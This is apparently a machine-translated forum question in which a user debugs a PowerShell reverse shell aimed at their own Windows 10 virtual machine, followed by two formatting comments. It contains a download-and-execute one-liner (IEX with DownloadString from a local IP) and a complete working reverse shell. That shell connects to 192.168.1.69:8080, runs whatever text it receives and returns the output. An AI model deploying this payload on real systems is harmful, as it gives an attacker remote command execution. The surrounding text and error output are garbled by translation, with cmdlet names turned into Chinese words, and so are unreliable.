我試着讓我的Win10虛擬機外殼,但我得到這些 errors。PowerShell的問題來調用外殼
PS C:\用戶\迭Sepu> IEX(新物體Net.WebClient).DownloadString( 'http://192.168.1.69/r.ps1')
IEX:在線路:13字符:39
內容S .TCPClient(「192.168.1.69 \ '94,8080))。GetStream(); [byte []] $ bt = 0..65535 ...
該字符串缺少終結符:」。
在線:14字符:2
}
〜
缺少表達閉 ')'。
在行:1個字符:1
{\ RTF1 \ ANSI \ ansicpg1252 \ cocoartf1504 \ cocoasubrtf820
〜
缺少右 '}' 在語句塊或類型定義。
在行:1個字符:1
IEX(新物體Net.WebClient).DownloadString(...
~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ CategoryInfo:ParserError:(:) [調用-表達式],ParseException的
FullyQualifiedErrorId:TerminatorExpectedAtEndOfString,Microsoft.PowerShell.Commands.InvokeExpressionCommand
代碼:
$sm=(New-Object Net.Sockets.TCPClient("192.168.1.69",8080)).GetStream()
[byte[]]$bt=0..65535|%{0}
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0)
{
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i)
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1))
$sm.Write($st,0,$st.Length)
}
請[編輯]你的代碼,以便它不運行作爲一個單行。更難以查看代碼的流程。還包括問題正文中的錯誤文本以及圖像不能被刮掉的文本 – Matt
看起來像很多語法錯誤。嘗試用一些換行符替換分號並使用一些縮進來使您的括號更易於查看。 –
我更改了代碼,這個更小,但仍然有錯誤,有什麼建議嗎? –